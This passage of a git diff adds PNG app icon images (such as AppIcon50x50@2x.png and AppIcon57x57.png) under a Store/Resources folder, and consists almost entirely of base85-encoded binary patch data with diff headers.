z7?Z@^E|p5D5a)56)b3OIJJ9T(eJHVVq%yj2pbNKbk>erz3Jn`fWLuz~PV@}?p}CY3 zl^*xJF1H4+s)C50$o!oT7{l(fO_|vP#SmBg6_By$%%&tYJ~)5Lj&+MjzCJYt7vV+~4r{HpXF!6_^4R*G5)->~~9z@n} zDL34@&9mH@*6;0s+OFGzQo!lWpOXsQUBV;o;FcJd!r}v;F73K-(x$n7oacO?IG80> zj#wfH9Qwrl!R_Z9%4Y(Y$3a!rj_?5?ICbUdI;j8Mv_pt(#2oC|F)n3YS{xZ1d1O*_ za#CX&Z~Yvv1okiL3xSR_$lkks8#Fh{@(t zS6E+CjiYUQX0_FYEJr(xJ!5|ybw9buiX2tz);m~n*b2iKuudK5v5tO_xcG#baxpZ@ zrg(b~AFT{~UR`?nJjBlJXIGiB>t-r@JjK&ODLYYVKv>Kqznk^pF4u_I;n4IY!?Djh zKz-UM^}5fMg_}>-Yu9hD*Q~A4n;RP%;&rRn){p->_4e(oLE`$lt}gS}k5eBF9w{HO zRKBubPLyy#5JmJP<4@}yjfa^);>{dNF2*Z5lv-t)4ahE!k&pt)b0p4Nu~$09$t&Fr z8aLhN6@p&%3Na4!GBC?auSukNX(PMTq}_trrYIiOWalQ=<_{~A1z*(XLT@h2Ca+K_ zf^*G%4;?`O4+%)R{@P9iS7Ar&FSihoMcU{VdPcw*bp*d4;5VqEybF8fT~!=Dz&;!O zuO+|mMzVu@2v3J^3QqRv8lRcym)o%#6TDl=dPCp-rUWPdIO`gL4Fz6pA#$G&)$jhc lA63D9BYz|N!$ZSp)Mvl?wXRP>87l-M%WR*YzaaQC{{?P0cv=7e literal 0 HcmV?d00001 diff --git a/Store/Resources/AppIcon50x50@2x.png b/Store/Resources/AppIcon50x50@2x.png new file mode 100644 index 0000000000000000000000000000000000000000..cf3964d3ece93b9e9d9cd8ba752392198a1add1b GIT binary patch literal 12562 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 literal 0 HcmV?d00001 diff --git a/Store/Resources/AppIcon57x57.png b/Store/Resources/AppIcon57x57.png new file mode 100644 index 0000000000000000000000000000000000000000..0adf70f8f2dcf4c348b801c0641864358b18afc3 GIT binary patch literal 6083 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 